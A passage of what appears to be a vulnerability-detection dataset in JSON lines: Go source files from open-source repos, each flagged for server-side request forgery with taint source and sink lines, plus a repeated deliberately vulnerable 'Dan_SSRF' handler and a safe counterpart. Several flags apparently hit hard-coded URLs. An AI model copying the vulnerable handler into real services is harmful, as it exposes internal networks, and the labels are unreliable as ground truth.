{\n\t\treturn errors.Trace(err)\n\t}\n\n\tbody, err := ioutil.ReadAll(res.Body)\n\tif err != nil {\n\t\treturn errors.Trace(err)\n\t}\n\n\tdefer res.Body.Close()\n\n\tif status := res.StatusCode; status < 200 || status >= 300 {\n\t\treturn errors.Errorf(\"auth server did not provide an access token: (status %d) %s.\", status, string(body))\n\t}\n\n\tresponse := struct {\n\t\tBearer string `json:\"access_token\"`\n\t\tExpiresIn uint `json:\"expires_in\"`\n\t}{}\n\n\terr = json.Unmarshal(body, &response)\n\tif err != nil {\n\t\treturn errors.Trace(err)\n\t}\n\n\tif response.ExpiresIn == 0 {\n\t\treturn errors.Errorf(\"got wrong expiration for access token\")\n\t}\n\n\tc.accessToken.bearer = response.Bearer\n\tc.accessToken.expirationDate = time.Now().Add(time.Duration(response.ExpiresIn) * time.Second)\n\n\treturn nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 137, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 137, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 146, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "6d3705c78242b8fe1758e6a215f06b6c0fc9422e649d9f390a11e31e2199ab26", "license": {"spdx": ["MIT"], "repo": "paulbes/go-pedal", "path": "pedal/client/client.go", "repo_head_hexsha": "424148844f6e41ed17f887cd2a15766aa3d07976", "stack_hexsha": "faa209fccbd0fc8650b12957a92782f120578860", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 86, "entireCode": "package client\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"github.com/paulbes/go-pedal/pedal/model\"\n)\n\n// Client defines the interface that\n// an API client must implement\ntype Client interface {\n\tStations() (*model.Stations, error)\n\tAvailability() (*model.StationAvailability, error)\n\tStatus() (*model.Status, error)\n}\n\n// BaseURL provides the base for performing queries\nvar BaseURL = \"https://oslobysykkel.no/api/v1/\"\n\ntype httpClient struct {\n\tbaseURL string\n\tclientIdentifier string\n\tclient *http.Client\n}\n\n// NewHTTPClient creates an http client that can communicate with the\n// oslo city bike API\nfunc NewHTTPClient(clientID string, timeoutInSec int) (Client, error) {\n\tif len(clientID) == 0 {\n\t\treturn nil, fmt.Errorf(\"client identifier is required\")\n\t}\n\treturn &httpClient{\n\t\tbaseURL: BaseURL,\n\t\tclientIdentifier: clientID,\n\t\tclient: &http.Client{\n\t\t\tTimeout: time.Duration(timeoutInSec) * time.Second,\n\t\t},\n\t}, nil\n}\n\n// Status loads the status of the stations\nfunc (c *httpClient) Status() (*model.Status, error) {\n\tvar status = struct {\n\t\tStatus model.Status `json:\"status\"`\n\t}{}\n\n\terr := c.do(\"status\", &status)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &status.Status, err\n}\n\n// Stations loads all known stations from the API\nfunc (c *httpClient) Stations() (*model.Stations, error) {\n\tvar stations model.Stations\n\n\terr := c.do(\"stations\", &stations)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &stations, err\n}\n\n// Availability fetches the availability of bikes and locks at all\n// locations.\nfunc (c *httpClient) Availability() (*model.StationAvailability, error) {\n\tvar stationAvailability model.StationAvailability\n\n\terr := c.do(\"stations/availability\", &stationAvailability)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &stationAvailability, nil\n}\n\n// do executes a request towards the oslo city bike API\nfunc (c *httpClient) do(endpoint string, to interface{}) error {\n\treq, err := http.NewRequest(\"GET\", fmt.Sprintf(\"%s/%s\", c.baseURL, endpoint), nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\treq.Header.Add(\"Client-Identifier\", c.clientIdentifier)\n\n\tresp, err := c.client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif resp.StatusCode != http.StatusOK {\n\t\tdata, err := ioutil.ReadAll(resp.Body)\n\t\tvar reason string\n\t\tif err != nil {\n\t\t\treason = \"unknown\"\n\t\t} else {\n\t\t\treason = string(data)\n\t\t}\n\n\t\treturn fmt.Errorf(\"failed to invoke API, got error code: %d, reason: %s\", resp.StatusCode, reason)\n\t}\n\n\tdata, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = json.Unmarshal(data, to)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 86, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 86, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "77ed8b0aae2525bfb73cf871d8adfaa3f8bcd3268c2418f58328ddd3c315889f", "license": {"spdx": ["MIT"], "repo": "Hamzah-z/odin", "path": "odin-libraries/go/odinlib/examples/giveaway/giveaway.go", "repo_head_hexsha": "4d86e4b0baeb97e6990c5226d9bf8399df6fbfe7", "stack_hexsha": "8dd0c8e09080973946cac002ec7e680739e1a02b", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 64, "entireCode": "package main\n\nimport (\n \"fmt\"\n \"net/http\"\n \"net/smtp\"\n \"log\"\n\n \"github.com/theycallmemac/odin/odin-libraries/go/odinlib\"\n \"github.com/yhat/scrape\"\n\n \"golang.org/x/net/html\"\n \"golang.org/x/net/html/atom\"\n)\n\n\nfunc errorCheck(err error) {\n if err != nil {\n panic(err)\n }\n}\n\nfunc send(bodyArray []string) {\n var body string\n for _, line := range bodyArray {\n body = body + line + \"\\n\"\n }\n from := \"\"\n pass := \"\"\n to := \"\"\n\n msg := \"From: \" + from + \"\\n\" +\n \"To: \" + to + \"\\n\" +\n \"Subject: Enter these competitions\" + \"\\n\" +\n body\n\n err := smtp.SendMail(\"smtp.gmail.com:587\",\n smtp.PlainAuth(\"\", from, pass, \"smtp.gmail.com\"),\n from, []string{to}, []byte(msg))\n\n if err != nil {\n log.Printf(\"smtp error: %s\", err)\n return\n }\n}\n\n\nfunc main() {\n odin, _ := odinlib.Setup(\"giveaway.yml\")\n var links[3] string\n resp, err := http.Get(\"https://competitions.ie\")\n errorCheck(err)\n root, err := html.Parse(resp.Body)\n errorCheck(err)\n articles := scrape.FindAll(root, scrape.ByTag(atom.A))\n count := 0\n for _, article := range articles {\n if count >= 3 {\n break\n }\n output := scrape.Attr(article, \"href\")\n if len(output) > 34 && output[0:5] != \"https\" && output[34:37] == \"win\" {\n out := fmt.Sprintf(\"%s%s\", \"https:\", output)\n respOut, errOut := http.Get(out)\n errorCheck(errOut)\n if respOut.StatusCode == 200 {\n links[count] = out\n count += 1\n }\n }\n }\n var comps []string\n for _, link := range links {\n resp, err := http.Get(link)\n errorCheck(err)\n root, err := html.Parse(resp.Body)\n errorCheck(err)\n linksMatched := func(n *html.Node) bool {\n if n.DataAtom == atom.A && n.Parent != nil && n.Parent.Parent != nil {\n return scrape.Attr(n.Parent.Parent, \"class\") == \"bluebg\"\n }\n return false\n }\n compLinks := scrape.FindAll(root, linksMatched)\n compLink := scrape.Attr(compLinks[0], \"href\")[2:]\n odin.Watch(\"final link\", compLink)\n comps = append(comps, compLink)\n }\n send(comps)\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 63, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 63, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 64, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "cd5c9eb8a75718aecae6f9194e943718dc8381c67566563de890e0199d33bb94", "license": {"spdx": ["MIT"], "repo": "0xdevalias/openfaas", "path": "gateway/metrics/prometheus_query.go", "repo_head_hexsha": "1959ea1b418cc0eb94cfaccf85bc10025872ba14", "stack_hexsha": "9a7b75d8511c2237816afa9719867ac56e661494", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 33, "entireCode": "package metrics\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n)\n\n// PrometheusQuery a PrometheusQuery\ntype PrometheusQuery struct {\n\tPort int\n\tHost string\n\tClient *http.Client\n}\n\ntype PrometheusQueryFetcher interface {\n\tFetch(query string) (*VectorQueryResponse, error)\n}\n\n// NewPrometheusQuery create a NewPrometheusQuery\nfunc NewPrometheusQuery(host string, port int, client *http.Client) PrometheusQuery {\n\treturn PrometheusQuery{\n\t\tClient: client,\n\t\tHost: host,\n\t\tPort: port,\n\t}\n}\n\n// Fetch queries aggregated stats\nfunc (q PrometheusQuery) Fetch(query string) (*VectorQueryResponse, error) {\n\n\treq, reqErr := http.NewRequest(\"GET\", fmt.Sprintf(\"http://%s:%d/api/v1/query/?query=%s\", q.Host, q.Port, query), nil)\n\tif reqErr != nil {\n\t\treturn nil, reqErr\n\t}\n\tres, getErr := q.Client.Do(req)\n\tif getErr != nil {\n\t\treturn nil, getErr\n\t}\n\tdefer res.Body.Close()\n\tbytesOut, readErr := ioutil.ReadAll(res.Body)\n\tif readErr != nil {\n\t\treturn nil, readErr\n\t}\n\n\tvar values VectorQueryResponse\n\n\tunmarshalErr := json.Unmarshal(bytesOut, &values)\n\tif unmarshalErr != nil {\n\t\treturn nil, unmarshalErr\n\t}\n\n\treturn &values, nil\n}\n\ntype VectorQueryResponse struct {\n\tData struct {\n\t\tResult []struct {\n\t\t\tMetric struct {\n\t\t\t\tCode string `json:\"code\"`\n\t\t\t\tFunctionName string `json:\"function_name\"`\n\t\t\t}\n\t\t\tValue []interface{} `json:\"value\"`\n\t\t}\n\t}\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 33, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 33, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "8e92ddad99658fe02a9b495733702b1bf0c1fc7b409dabe184650bdc5dbd334f", "license": {"spdx": ["MIT"], "repo": "nourserry/scdl", "path": "soundcloud/search.go", "repo_head_hexsha": "984cb662e4ef0e1a8aa5eea89d0a4955cfd667e8", "stack_hexsha": "047a1b1f5439b91c31ad549adb2116eb43dc0b16", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 20, "entireCode": "package soundcloud\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\n\t\"github.com/PuerkitoBio/goquery\"\n)\n\n// Search returns the first URL on SoundCloud most similar to the user input\n// TODO implment tests\nfunc Search(query string) string {\n\tbase := \"https://soundcloud.com/search?q=%s\"\n\tsearchQueryString := fmt.Sprintf(base, query)\n\tfmt.Println(searchQueryString)\n\t// request to soundcloud url\n\tresp, err := http.Get(searchQueryString)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\t// response body\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\tvar urls []string\n\tr := bytes.NewReader(body)\n\tdoc, err := goquery.NewDocumentFromReader(r)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t// TODO: fix\n\t// Find the search items\n\tdoc.Find(\"noscript\").Each(func(i int, s *goquery.Selection) {\n\t\tfmt.Println(s.Text())\n\t\tx := s.Find(\"ul\").Text()\n\t\tfmt.Print(x)\n\t\t// For each item found, get a tag\n\t\t// link, exists := x.Attr(\"href\")\n\t\t// fmt.Println(link)\n\t\t// if exists {\n\t\t// \turls = append(urls, link)\n\t\t// }\n\n\t})\n\tfmt.Println(urls)\n\t// TODO: implement return url\n\treturn searchQueryString\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 17, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 17, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 20, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "74f7fb5b92e80321b67aea7cd1afeb47ad95efaca34f40686321ee8b7b8f323c", "license": {"spdx": ["MIT"], "repo": "IgorBaskakov/httpserver", "path": "internal/redmine.go", "repo_head_hexsha": "b15b1b2f9f8f34d8748684a6ceb58f2989e12b9d", "stack_hexsha": "d29b33738dc0296291427e81eb8f211a174a0b1f", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 50, "entireCode": "package internal\n\nimport (\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"os\"\n\t\"time\"\n)\n\nconst redmineURL = \"http://rm.pixel.alx/issues/%d.json\"\n\nfunc getTasks(ids []uint) ([]*task, error) {\n\ttasks := make([]*task, 0, len(ids))\n\tfor _, id := range ids {\n\t\tt, err := getTask(id)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif t == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\ttasks = append(tasks, t)\n\t}\n\n\treturn tasks, nil\n}\n\ntype task struct {\n\tIssue struct {\n\t\tTracker struct {\n\t\t\tName string `json:\"name\"`\n\t\t} `json:\"tracker\"`\n\t\tAssigned struct {\n\t\t\tName string `json:\"name\"`\n\t\t} `json:\"assigned_to\"`\n\t\tSubject string `json:\"subject\"`\n\t\tDescription string `json:\"description\"`\n\t\tTotalSpentHours float32 `json:\"total_spent_hours\"`\n\t\tCreated time.Time `json:\"created_on\"`\n\t} `json:\"issue\"`\n}\n\nfunc getTask(id uint) (*task, error) {\n\turl := fmt.Sprintf(redmineURL, id)\n\treq, err := http.NewRequest(\"GET\", url, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tkey := os.Getenv(\"APIKEY\")\n\tif key == \"\" {\n\t\treturn nil, errors.New(\"$APIKEY must be set\")\n\t}\n\n\treq.Header.Add(\"X-Redmine-API-Key\", key)\n\n\ttr := &http.Transport{\n\t\tMaxIdleConns: 10,\n\t\tIdleConnTimeout: 30 * time.Second,\n\t}\n\tclient := &http.Client{Transport: tr}\n\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer resp.Body.Close()\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tt := task{}\n\tjson.Unmarshal(body, &t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif t.Issue.Subject == \"\" {\n\t\treturn nil, nil\n\t}\n\n\treturn &t, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 49, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 49, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 50, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "4a79a287eef7600ab8c2bb815946f6b965c356e22917b02411b8c9f0bde72933", "license": {"spdx": ["MIT"], "repo": "JEFFTheDev/pact-go", "path": "examples/consumer/goconsumer/client.go", "repo_head_hexsha": "77914dbfe54cdcd4dc3e3e39399a4a7bb3cb4fec", "stack_hexsha": "404e74177ae4ffaefccc6fbedcd905e5ed33605f", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 39, "entireCode": "package goconsumer\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"html/template\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\n\tex \"github.com/JEFFTheDev/pact-go/examples/types\"\n)\n\n// Client is a UI for the User Service.\ntype Client struct {\n\tuser *ex.User\n\tHost string\n\terr error\n\ttoken string\n}\n\n// Marshalling format for Users.\ntype loginResponse struct {\n\tUser ex.User `json:\"user\"`\n}\n\ntype templateData struct {\n\tUser *ex.User\n\tError error\n}\n\nvar loginTemplatePath = \"login.html\"\nvar templates = template.Must(template.ParseFiles(loginTemplatePath))\n\n// getUser finds a user\nfunc (c *Client) getUser(id string) (*ex.User, error) {\n\n\tu := fmt.Sprintf(\"%s/users/%s\", c.Host, id)\n\treq, err := http.NewRequest(\"GET\", u, nil)\n\n\t// NOTE: by default, request bodies are expected to be sent with a Content-Type\n\t// of application/json. If you don't explicitly set the content-type, you\n\t// will get a mismatch during Verification.\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\treq.Header.Set(\"Authorization\", c.token)\n\n\tres, err := http.DefaultClient.Do(req)\n\n\tif res.StatusCode != 200 || err != nil {\n\t\treturn nil, fmt.Errorf(\"get user failed\")\n\t}\n\n\tdata, err := ioutil.ReadAll(res.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar response ex.User\n\terr = json.Unmarshal(data, &response)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &response, err\n}\n\n// Login handles the login API call to the User Service.\nfunc (c *Client) login(username string, password string) (*ex.User, error) {\n\tloginRequest := fmt.Sprintf(`\n {\n \"username\":\"%s\",\n \"password\": \"\n }`, username, password)\n\n\tres, err := http.Post(fmt.Sprintf(\"%s/login/10?foo=anything\", c.Host), \"application/json; charset=utf-8\", bytes.NewReader([]byte(loginRequest)))\n\tif res.StatusCode != 200 || err != nil {\n\t\treturn nil, fmt.Errorf(\"login failed\")\n\t}\n\n\tdata, err := ioutil.ReadAll(res.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar response loginResponse\n\terr = json.Unmarshal(data, &response)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &response.User, err\n}\n\n// Deal with the login request.\nfunc (c *Client) loginHandler(w http.ResponseWriter, r *http.Request) {\n\tusername := r.FormValue(\"username\")\n\tpassword := r.FormValue(\"password\")\n\n\tuser, err := c.login(username, password)\n\tif err == nil && user != nil {\n\t\tc.user = user\n\t\tc.err = nil\n\t\thttp.Redirect(w, r, \"/\", http.StatusFound)\n\t\treturn\n\t}\n\tc.err = fmt.Errorf(\"Invalid username/password\")\n\thttp.Redirect(w, r, \"/\", http.StatusFound)\n\treturn\n}\n\n// Deal with the logout request.\nfunc (c *Client) logoutHandler(w http.ResponseWriter, r *http.Request) {\n\tc.user = nil\n\tc.err = nil\n\thttp.Redirect(w, r, \"/\", http.StatusFound)\n\treturn\n}\n\nfunc renderTemplate(w http.ResponseWriter, tmpl string, u templateData) {\n\n\terr := templates.ExecuteTemplate(w, tmpl+\".html\", u)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t}\n}\n\n// Show the current user if logged in, otherwise display a login form.\nfunc (c *Client) viewHandler(w http.ResponseWriter, r *http.Request) {\n\tdata := templateData{\n\t\tUser: c.user,\n\t\tError: c.err,\n\t}\n\trenderTemplate(w, \"login\", data)\n}\n\n// Run the web application.\nfunc (c *Client) Run() {\n\thttp.HandleFunc(\"/login\", c.loginHandler)\n\thttp.HandleFunc(\"/logout\", c.logoutHandler)\n\thttp.HandleFunc(\"/\", c.viewHandler)\n\tfmt.Println(\"User svc client running on port 8081\")\n\thttp.ListenAndServe(\":8081\", nil)\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 39, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "1611c41c1d5eebfb5e235f0c16e570cbe067ba61491a6a284fd2dd4a14cc2647", "license": {"spdx": ["WTFPL"], "repo": "sjeandeaux/toolators", "path": "github/github.go", "repo_head_hexsha": "7bcda8e7a1232d852391defc44f86e6ed5edd600", "stack_hexsha": "e451b3d7a4230e8bd4dd07a5a9995b65ba43e412", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is 